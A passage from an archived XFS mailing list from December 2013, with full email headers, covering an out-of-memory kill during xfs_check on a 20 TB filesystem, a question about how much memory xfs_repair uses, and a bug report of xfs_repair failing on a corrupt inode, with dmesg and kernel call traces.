ZVtdOiAwIDI3MTYgMTU4MjAgMTU4MjA8L0ZPTlQ+PC9TUEFOPjwvUD4NCjxQIHN0eWxlPSJN QVJHSU46IDBjbSAwY20gMHB0IDQycHQiIGNsYXNzPU1zb05vcm1hbD48U1BBTiBsYW5nPUVO LVVTPjxGT05UIGZhY2U9Q2FsaWJyaT5Ob2RlIDAgRE1BMzIgZnJlZTo1NTI0MGtCIG1pbjoy NzYwa0IgbG93OjM0NDhrQiBoaWdoOjQxNDBrQiBhY3RpdmU6MjM4Njk2NGtCIGluYWN0aXZl OjRrQiBwcmVzZW50OjI3ODIwMzZrQiBwYWdlc19zY2FubmVkOjQwMjYwOTMgYWxsX3VucmVj bGFpbWFibGU/IHllczwvRk9OVD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNt IDBjbSAwcHQgNDJwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PEZPTlQg ZmFjZT1DYWxpYnJpPmxvd21lbV9yZXNlcnZlW106IDAgMCAxMzEwNCAxMzEwNDwvRk9OVD48 L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgNDJwdCIgY2xhc3M9 TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PEZPTlQgZmFjZT1DYWxpYnJpPk5vZGUgMCBO b3JtYWwgZnJlZToxNDA2NGtCIG1pbjoxMzMyOGtCIGxvdzoxNjY2MGtCIGhpZ2g6MTk5OTJr QiBhY3RpdmU6MTI4ODg2NTJrQiBpbmFjdGl2ZToxNTM4NGtCIHByZXNlbnQ6MTM0MTg0OTZr QiBwYWdlc19zY2FubmVkOjIyNzkyMDkyIGFsbF91bnJlY2xhaW1hYmxlPyB5ZXM8L0ZPTlQ+ PC9TUEFOPjwvUD4NCjxQIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDQycHQiIGNsYXNz PU1zb05vcm1hbD48U1BBTiBsYW5nPUVOLVVTPjxGT05UIGZhY2U9Q2FsaWJyaT5sb3dtZW1f cmVzZXJ2ZVtdOiAwIDAgMCAwPC9GT05UPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFSR0lO OiAwY20gMGNtIDBwdCA0MnB0IiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gbGFuZz1FTi1VUz48 Rk9OVCBmYWNlPUNhbGlicmk+Tm9kZSAwIERNQTogNSo0a0IgMio4a0IgMCoxNmtCIDIqMzJr QiAzKjY0a0IgMioxMjhrQiAzKjI1NmtCIDAqNTEya0IgMioxMDI0a0IgMCoyMDQ4a0IgMSo0 MDk2a0IgPSA3NDYwa0I8L0ZPTlQ+PC9TUEFOPjwvUD4NCjxQIHN0eWxlPSJNQVJHSU46IDBj bSAwY20gMHB0IDQycHQiIGNsYXNzPU1zb05vcm1hbD48U1BBTiBsYW5nPUVOLVVTPjxGT05U IGZhY2U9Q2FsaWJyaT5Ob2RlIDAgRE1BMzI6IDc2KjRrQiAxNzkqOGtCIDE2NCoxNmtCIDEy MiozMmtCIDc4KjY0a0IgNjIqMTI4a0IgMzMqMjU2a0IgMjQqNTEya0IgNyoxMDI0a0IgMSoy MDQ4a0IgMSo0MDk2a0IgPSA1NTI0MGtCPC9GT05UPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0i TUFSR0lOOiAwY20gMGNtIDBwdCA0MnB0IiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gbGFuZz1F Ti1VUz48Rk9OVCBmYWNlPUNhbGlicmk+Tm9kZSAwIE5vcm1hbDogMTkyKjRrQiA1OCo4a0Ig MTIqMTZrQiAzKjMya0IgMCo2NGtCIDAqMTI4a0IgMSoyNTZrQiAwKjUxMmtCIDAqMTAyNGtC IDAqMjA0OGtCIDMqNDA5NmtCID0gMTQwNjRrQjwvRk9OVD48L1NQQU4+PC9QPg0KPFAgc3R5 bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgNDJwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxh bmc9RU4tVVM+PEZPTlQgZmFjZT1DYWxpYnJpPjUzNTQgdG90YWwgcGFnZWNhY2hlIHBhZ2Vz PC9GT05UPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCA0MnB0 IiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gbGFuZz1FTi1VUz48Rk9OVCBmYWNlPUNhbGlicmk+ MCBwYWdlcyBpbiBzd2FwIGNhY2hlPC9GT05UPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFS R0lOOiAwY20gMGNtIDBwdCA0MnB0IiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gbGFuZz1FTi1V Uz48Rk9OVCBmYWNlPUNhbGlicmk+U3dhcCBjYWNoZSBzdGF0czogYWRkIDAsIGRlbGV0ZSAw LCBmaW5kIDAvMDwvRk9OVD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBj bSAwcHQgNDJwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PEZPTlQgZmFj ZT1DYWxpYnJpPkZyZWUgc3dhcDxTUEFOIHN0eWxlPSJtc28tc3BhY2VydW46IHllcyI+Jm5i c3A7IDwvU1BBTj49IDBrQjwvRk9OVD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjog MGNtIDBjbSAwcHQgNDJwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PEZP TlQgZmFjZT1DYWxpYnJpPlRvdGFsIHN3YXAgPSAwa0I8L0ZPTlQ+PC9TUEFOPjwvUD4NCjxQ IHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDQycHQiIGNsYXNzPU1zb05vcm1hbD48U1BB TiBsYW5nPUVOLVVTPjxGT05UIGZhY2U9Q2FsaWJyaT40MTYxNTM2IHBhZ2VzIFJBTTwvRk9O VD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgNDJwdCIgY2xh c3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PEZPTlQgZmFjZT1DYWxpYnJpPjEzOTA1 OCBwYWdlcyByZXNlcnZlZDwvRk9OVD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjog MGNtIDBjbSAwcHQgNDJwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PEZP TlQgZmFjZT1DYWxpYnJpPjI0MDM3IHBhZ2VzIHNoYXJlZDwvRk9OVD48L1NQQU4+PC9QPg0K PFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgNDJwdCIgY2xhc3M9TXNvTm9ybWFsPjxT UEFOIGxhbmc9RU4tVVM+PEZPTlQgZmFjZT1DYWxpYnJpPjM5OTIxMjAgcGFnZXMgbm9uLXNo YXJlZDwvRk9OVD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQg NDJwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PEZPTlQgZmFjZT1DYWxp YnJpPk91dCBvZiBtZW1vcnk6IGtpbGwgcHJvY2VzcyAxNDQ0NyAoeGZzX2RiKSBzY29yZSA2 NzAyMjUgb3IgYSBjaGlsZDwvRk9OVD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjog MGNtIDBjbSAwcHQgNDJwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PEZP TlQgZmFjZT1DYWxpYnJpPktpbGxlZCBwcm9jZXNzIDE0NDQ3ICh4ZnNfZGIpPC9GT05UPjwv U1BBTj48L1A+PC9ESVY+ ------=_NextPart_52BD22BF_09168EA8_39621D6C-- From jeff.liu@oracle.com Fri Dec 27 01:41:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 620F37F3F for ; Fri, 27 Dec 2013 01:41:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 40658304064 for ; Thu, 26 Dec 2013 23:41:13 -0800 (PST) X-ASG-Debug-ID: 1388130071-04cb6c537b9dd0a0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id ZKt1D4nQARNa9YBd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Dec 2013 23:41:12 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBR7fAiQ031970 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 27 Dec 2013 07:41:11 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBR7fAlN005202 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 27 Dec 2013 07:41:10 GMT Received: from ubhmt102.oracle.com (ubhmt102.oracle.com [156.151.24.7]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBR7f9Fb029270; Fri, 27 Dec 2013 07:41:09 GMT Received: from [192.168.1.105] (/123.119.110.226) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 26 Dec 2013 23:41:09 -0800 Message-ID: <52BD2F0F.3020907@oracle.com> Date: Fri, 27 Dec 2013 15:41:03 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Stor?? <289471341@qq.com>, xfs Subject: Re: [xfs_check Out of memory: ] References: X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388130072 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/27 2013 14:48 PM, Stor?? wrote: > Hey: > > 20T xfs file system > > > > /usr/sbin/xfs_check: line 28: 14447 Killed > xfs_db$DBOPTS -i -p xfs_check -c "check$OPTS" $1 xfs_check is deprecated and please use xfs_repair -n instead. The following back traces show us that it seems your system is run out memory when executing xfs_check, thus, snmp daemon/xfs_db were killed. Thanks, -Jeff > > snmpd invoked oom-killer: gfp_mask=0x1201d2, order=0, oomkilladj=0 > > Pid: 4753, comm: snmpd Tainted: G 2.6.27.19-5-default #95 > > > > Call Trace: > > [] show_trace_log_lvl+0x41/0x58 > > [] dump_stack+0x69/0x6f > > [] oom_kill_process+0x5c/0x1fe > > [] out_of_memory+0x169/0x1ff > > [] __alloc_pages_internal+0x2e4/0x3ce > > [] __do_page_cache_readahead+0x79/0x183 > > [] filemap_fault+0x15d/0x337 > > [] __do_fault+0x52/0x37a > > [] handle_mm_fault+0x382/0x75e > > [] do_page_fault+0x45a/0x81c > > [] error_exit+0x0/0x51 > > [<00007fccea2b1d00>] 0x7fccea2b1d00 > > > > Mem-Info: > > Node 0 DMA per-cpu: > > CPU 0: hi: 0, btch: 1 usd: 0 > > CPU 1: hi: 0, btch: 1 usd: 0 > > CPU 2: hi: 0, btch: 1 usd: 0 > > CPU 3: hi: 0, btch: 1 usd: 0 > > Node 0 DMA32 per-cpu: > > CPU 0: hi: 186, btch: 31 usd: 160 > > CPU 1: hi: 186, btch: 31 usd: 173 > > CPU 2: hi: 186, btch: 31 usd: 50 > > CPU 3: hi: 186, btch: 31 usd: 176 > > Node 0 Normal per-cpu: > > CPU 0: hi: 186, btch: 31 usd: 116 > > CPU 1: hi: 186, btch: 31 usd: 95 > > CPU 2: hi: 186, btch: 31 usd: 162 > > CPU 3: hi: 186, btch: 31 usd: 161 > > Active:3818904 inactive:3847 dirty:2 writeback:0 unstable:0 > > free:19191 slab:25747 mapped:1530 pagetables:12518 bounce:0 > > Node 0 DMA free:7460kB min:4kB low:4kB high:4kB active:0kB inactive:0kB > present:6160kB pages_scanned:0 all_unreclaimable? yes > > lowmem_reserve[]: 0 2716 15820 15820 > > Node 0 DMA32 free:55240kB min:2760kB low:3448kB high:4140kB > active:2386964kB inactive:4kB present:2782036kB pages_scanned:4026093 > all_unreclaimable? yes > > lowmem_reserve[]: 0 0 13104 13104 > > Node 0 Normal free:14064kB min:13328kB low:16660kB high:19992kB > active:12888652kB inactive:15384kB present:13418496kB > pages_scanned:22792092 all_unreclaimable? yes > > lowmem_reserve[]: 0 0 0 0 > > Node 0 DMA: 5*4kB 2*8kB 0*16kB 2*32kB 3*64kB 2*128kB 3*256kB 0*512kB > 2*1024kB 0*2048kB 1*4096kB = 7460kB > > Node 0 DMA32: 76*4kB 179*8kB 164*16kB 122*32kB 78*64kB 62*128kB 33*256kB > 24*512kB 7*1024kB 1*2048kB 1*4096kB = 55240kB > > Node 0 Normal: 192*4kB 58*8kB 12*16kB 3*32kB 0*64kB 0*128kB 1*256kB > 0*512kB 0*1024kB 0*2048kB 3*4096kB = 14064kB > > 5354 total pagecache pages > > 0 pages in swap cache > > Swap cache stats: add 0, delete 0, find 0/0 > > Free swap = 0kB > > Total swap = 0kB > > 4161536 pages RAM > > 139058 pages reserved > > 24037 pages shared > > 3992120 pages non-shared > > Out of memory: kill process 14447 (xfs_db) score 670225 or a child > > Killed process 14447 (xfs_db) > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From arekm@maven.pl Fri Dec 27 02:07:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 41F097F3F for ; Fri, 27 Dec 2013 02:07:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 301DC8F8035 for ; Fri, 27 Dec 2013 00:07:26 -0800 (PST) X-ASG-Debug-ID: 1388131644-04cbb041669d6a80001-NocioJ Received: from mail-ea0-f179.google.com (mail-ea0-f179.google.com [209.85.215.179]) by cuda.sgi.com with ESMTP id LYFOmYclzwirmC4m (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 27 Dec 2013 00:07:25 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 209.85.215.179 Received: by mail-ea0-f179.google.com with SMTP id r15so3980659ead.24 for ; Fri, 27 Dec 2013 00:07:24 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=QMsF68PsgSgmpDHAT+c8Q4D5gwZyoWnIl4aRIeYtjQw=; b=jifmNlOPoPLYl32LjYx3Ya7iMkwZRqT5Z81chXRqi/3yAufEofruDWO0Ut3E3cO5VF XKDFKy/Wi/Z3+QTj/s0cc+xFnKObO2AGTkvgoN1a/5sGrUuae2z0brPyPZOLdl52CqKD 0gmRwAoLIWE9qukw87AOwZDIbt6VtHzKKpGhw= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=QMsF68PsgSgmpDHAT+c8Q4D5gwZyoWnIl4aRIeYtjQw=; b=QBK7dc/HagZk/c5ycBG5iVAT7b0zE/JXu0zht6SdAKKV2/n7T68tBGTTNg8OCmZB+p 0vNtazZJZ0/PWxkQ5SmSBdizSqn/5O5UYvrDIuQ+Iqs0w6rD0zpLmLj6WnKmPGuyyDlM Rflr/93F4ZunNol39IWqAKnIFhGLwSHLJU7hTavWLG63hsX5+pfd4g2OD6lrJwtzvKsU /U/6L6LUElKTNEdncaJEIa+2u35d9hRwBAMGqdl3Fa9A1VM5qn266VzEUv9FO1hY69e6 X2lZUzbud/VQDKe4nxS6oqrIg8R6Ao6FhHHfEEM9+visZPr18IjKns033d30Ya32X2FL ce4A== X-Gm-Message-State: ALoCoQmIW+VN8LbwR6DmqYVk93YB4x62BYwVZ4ktibqPihFCEJEG0sh51+AbrKDkZqNvgcS3dBg+ X-Received: by 10.14.5.12 with SMTP id 12mr41962439eek.9.1388131644204; Fri, 27 Dec 2013 00:07:24 -0800 (PST) Received: from t400.localnet (89-65-189-48.dynamic.chello.pl. [89.65.189.48]) by mx.google.com with ESMTPSA id e3sm79539933eeg.11.2013.12.27.00.07.23 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 27 Dec 2013 00:07:23 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: xfs@oss.sgi.com Subject: Re: [xfs_check Out of memory: ] Date: Fri, 27 Dec 2013 09:07:22 +0100 X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] User-Agent: KMail/1.13.7 (Linux/3.12.6-dirty; KDE/4.12.0; x86_64; ; ) Cc: Jeff Liu , "Stor??" <289471341@qq.com> References: <52BD2F0F.3020907@oracle.com> In-Reply-To: <52BD2F0F.3020907@oracle.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201312270907.22638.arekm@maven.pl> X-Barracuda-Connect: mail-ea0-f179.google.com[209.85.215.179] X-Barracuda-Start-Time: 1388131645 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143452 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Friday 27 of December 2013, Jeff Liu wrote: > On 12/27 2013 14:48 PM, Stor?? wrote: > > Hey: > >=20 > > 20T xfs file system > >=20 > >=20 > >=20 > > /usr/sbin/xfs_check: line 28: 14447 Killed > > xfs_db$DBOPTS -i -p xfs_check -c "check$OPTS" $1 >=20 > xfs_check is deprecated and please use xfs_repair -n instead. >=20 > The following back traces show us that it seems your system is run out > memory when executing xfs_check, thus, snmp daemon/xfs_db were killed. This reminds me a question... Could xfs_repair store its temporary data (some of that data, the biggest=20 parte) on disk instead of in memory? I don't know it that would make sense, so asking. Not sure if xfs_repair ne= eds=20 to access that data frequently (so on disk makes no sense) or maybe it need= s=20 only for iteration purposes in some later phase (so on disk should work). Anyway memory usage of xfs_repair was always a problem for me (like 16GB no= t=20 enough for 7TB fs due to huge amount of fies being stored). With parallel s= can=20 it's even worse obviously. > Thanks, > -Jeff =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From bjoern_rafreider@visual4.de Fri Dec 27 06:42:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F34717F3F for ; Fri, 27 Dec 2013 06:42:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 97B21AC004 for ; Fri, 27 Dec 2013 04:42:29 -0800 (PST) X-ASG-Debug-ID: 1388148145-04bdf00fe02d06d0001-NocioJ Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.29.23]) by cuda.sgi.com with ESMTP id D28GoDe8eF7vVMaY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Dec 2013 04:42:26 -0800 (PST) X-Barracuda-Envelope-From: bjoern_rafreider@visual4.de X-Barracuda-Apparent-Source-IP: 80.67.29.23 Received: from [91.44.238.103] (helo=remote.visual4.de) by smtprelay01.ispgateway.de with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.68) (envelope-from ) id 1VwWkC-00053I-Pz for xfs@oss.sgi.com; Fri, 27 Dec 2013 13:42:24 +0100 Received: from V4SERVER.v4.local ([fe80::1cc3:2f2b:97ea:2ba7]) by V4SERVER.v4.local ([fe80::1cc3:2f2b:97ea:2ba7%15]) with mapi; Fri, 27 Dec 2013 13:42:24 +0100 From: =?iso-8859-1?Q?Bj=F6rn_Rafreider?= To: "xfs@oss.sgi.com" Date: Fri, 27 Dec 2013 13:42:21 +0100 Subject: Bug - xfs_repair asks me to report it Thread-Topic: Bug - xfs_repair asks me to report it X-ASG-Orig-Subj: Bug - xfs_repair asks me to report it Thread-Index: Ac8C67olwEN2i1cSSqudPWe7BEn8yQ== Message-ID: <7ED0247242FEFB40BCA665733E613DCA0640C14C985D@V4SERVER.v4.local> Accept-Language: de-DE Content-Language: de-DE X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: de-DE Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Df-Sender: ZXZlcnl0aGluZ0B2aXN1YWw0LmNvbQ== X-Barracuda-Connect: smtprelay01.ispgateway.de[80.67.29.23] X-Barracuda-Start-Time: 1388148146 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Hi, over christmas our backup system with XFS on LVM2 on iSCSI on Ubuntu 12.04.= 03 gave me several errors. Turned out, that the XFS was halted because of a= n error. XFS_repair fixed several errors but finally quit with the followin= g error message: corrupt dinode 3328159430, extent total =3D 1, nblocks =3D 0. This is a bu= g. Please capture the filesystem metadata with xfs_metadump and report it to xfs@oss.sgi.com. cache_node_purge: refcount was 1, not zero (node=3D0x1b928ab0) fatal error -- couldn't map inode 3328159430, err =3D 117 the dump is running at the moment - but it already has 5G - little too big = for sending it by mail so I add a little more information The file System is ~2.9TB on two physical iSCSI drives with 1TB and 1.9TB, = ~80% used Kernel is: 3.2.0-57-generic #87-Ubuntu SMP Tue Nov 12 21:35:10 UTC 2013 x86= _64 x86_64 x86_64 GNU/Linux System is running on Xen with 2G of memory (doubled it to 4G now without a = change) The backup is using snapback2, which is basically a wrapper around rsync. I= t hardlinks existing files so a real huge amount of inodes is created. Filesystem Inodes IUsed IFree IUse% Mounted = on /dev/mapper/v4iscsibu-backups 1659061776 23831539 1635230237 2% /mnt/bac= kups Dmesg gave the following errors before shutting down the filesystem: ------------------------------------------------------------- [ 16.216309] scsi0 : iSCSI Initiator over TCP/IP [ 17.227571] scsi 0:0:0:0: Direct-Access Promise VessRAID 1840i 03= 06 PQ: 0 ANSI: 5 [ 17.228312] sd 0:0:0:0: [sda] 2147483648 512-byte logical blocks: (1.09 = TB/1.00 TiB) [ 17.228443] sd 0:0:0:0: Attached scsi generic sg0 type 0 [ 17.229380] sd 0:0:0:0: [sda] Write Protect is off [ 17.229384] sd 0:0:0:0: [sda] Mode Sense: a3 00 10 08 [ 17.229704] scsi 0:0:0:1: Direct-Access Promise VessRAID 1840i 03= 06 PQ: 0 ANSI: 5 [ 17.229889] sd 0:0:0:1: Attached scsi generic sg1 type 0 [ 17.233345] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled,= supports DPO and FUA [ 17.233895] sd 0:0:0:1: [sdb] 4110147584 512-byte logical blocks: (2.10 = TB/1.91 TiB) [ 17.237268] sd 0:0:0:1: [sdb] Write Protect is off [ 17.237273] sd 0:0:0:1: [sdb] Mode Sense: a3 00 10 08 [ 17.237852] sd 0:0:0:1: [sdb] Write cache: enabled, read cache: enabled,= supports DPO and FUA [ 17.251513] sda: unknown partition table [ 17.253550] sd 0:0:0:0: [sda] Attached SCSI disk [ 17.263924] sdb: unknown partition table [ 17.266117] sd 0:0:0:1: [sdb] Attached SCSI disk [ 17.406363] init: failsafe main process (791) killed by TERM signal [ 17.736859] XFS (dm-2): Mounting Filesystem [ 17.933764] XFS (dm-2): Starting recovery (logdev: internal) [ 18.345411] XFS (dm-2): Ending recovery (logdev: internal) [ 18.778605] type=3D1400 audit(1387993447.308:11): apparmor=3D"STATUS" op= eration=3D"profile_replace" name=3D"/sbin/dhclient" pid=3D1029 comm=3D"appa= rmor_parser" [ 18.779096] type=3D1400 audit(1387993447.308:12): apparmor=3D"STATUS" op= eration=3D"profile_replace" name=3D"/usr/lib/NetworkManager/nm-dhcp-client.= action" pid=3D1029 comm=3D"apparmor_parser" [ 18.779349] type=3D1400 audit(1387993447.308:13): apparmor=3D"STATUS" op= eration=3D"profile_replace" name=3D"/usr/lib/connman/scripts/dhclient-scrip= t" pid=3D1029 comm=3D"apparmor_parser" [ 18.807264] type=3D1400 audit(1387993447.340:14): apparmor=3D"STATUS" op= eration=3D"profile_load" name=3D"/usr/sbin/dhcpd3" pid=3D1031 comm=3D"appar= mor_parser" [ 18.821018] type=3D1400 audit(1387993447.352:15): apparmor=3D"STATUS" op= eration=3D"profile_load" name=3D"/usr/sbin/dhcpd" pid=3D1030 comm=3D"apparm= or_parser" [ 18.879035] type=3D1400 audit(1387993447.412:16): apparmor=3D"STATUS" op= eration=3D"profile_load" name=3D"/usr/sbin/mysqld" pid=3D1032 comm=3D"appar= mor_parser" [ 18.882830] type=3D1400 audit(1387993447.412:17): apparmor=3D"STATUS" op= eration=3D"profile_load" name=3D"/usr/sbin/tcpdump" pid=3D1034 comm=3D"appa= rmor_parser" [ 19.208464] type=3D1400 audit(1387993447.740:18): apparmor=3D"STATUS" op= eration=3D"profile_replace" name=3D"/usr/sbin/mysqld" pid=3D1122 comm=3D"ap= parmor_parser" [ 19.248026] eth0: no IPv6 routers present [ 19.248031] eth1: no IPv6 routers present [104404.965327] XFS (dm-2): Internal error xfs_trans_cancel at line 1925 of= file /build/buildd/linux-3.2.0/fs/xfs/xfs_trans.c. Caller 0xffffffffa0143= 773 [104404.965331] [104404.965452] Pid: 10341, comm: rsync Not tainted 3.2.0-57-generic #87-Ub= untu [104404.965458] Call Trace: [104404.965503] [] xfs_error_report+0x3f/0x50 [xfs] [104404.965525] [] ? xfs_rename+0x363/0x760 [xfs] [104404.965549] [] ? xfs_trans_ichgtime+0x27/0xa0 [xfs] [104404.965571] [] xfs_trans_cancel+0xe5/0x110 [xfs] [104404.965588] [] xfs_rename+0x363/0x760 [xfs] [104404.965605] [] xfs_vn_rename+0x66/0x70 [xfs] [104404.965613] [] vfs_rename_other+0xde/0x130 [104404.965617] [] vfs_rename+0xbb/0x240 [104404.965621] [] ? __lookup_hash.part.28+0x31/0xe0 [104404.965625] [] ? inode_permission+0x4a/0x110 [104404.965630] [] sys_renameat+0x218/0x240 [104404.965635] [] ? notify_change+0x271/0x360 [104404.965640] [] ? vfsmount_lock_local_unlock+0x1e/0x3= 0 [104404.965644] [] ? mntput_no_expire+0x30/0xf0 [104404.965648] [] ? mntput+0x1f/0x30 [104404.965652] [] ? path_put+0x22/0x30 [104404.965656] [] sys_rename+0x1b/0x20 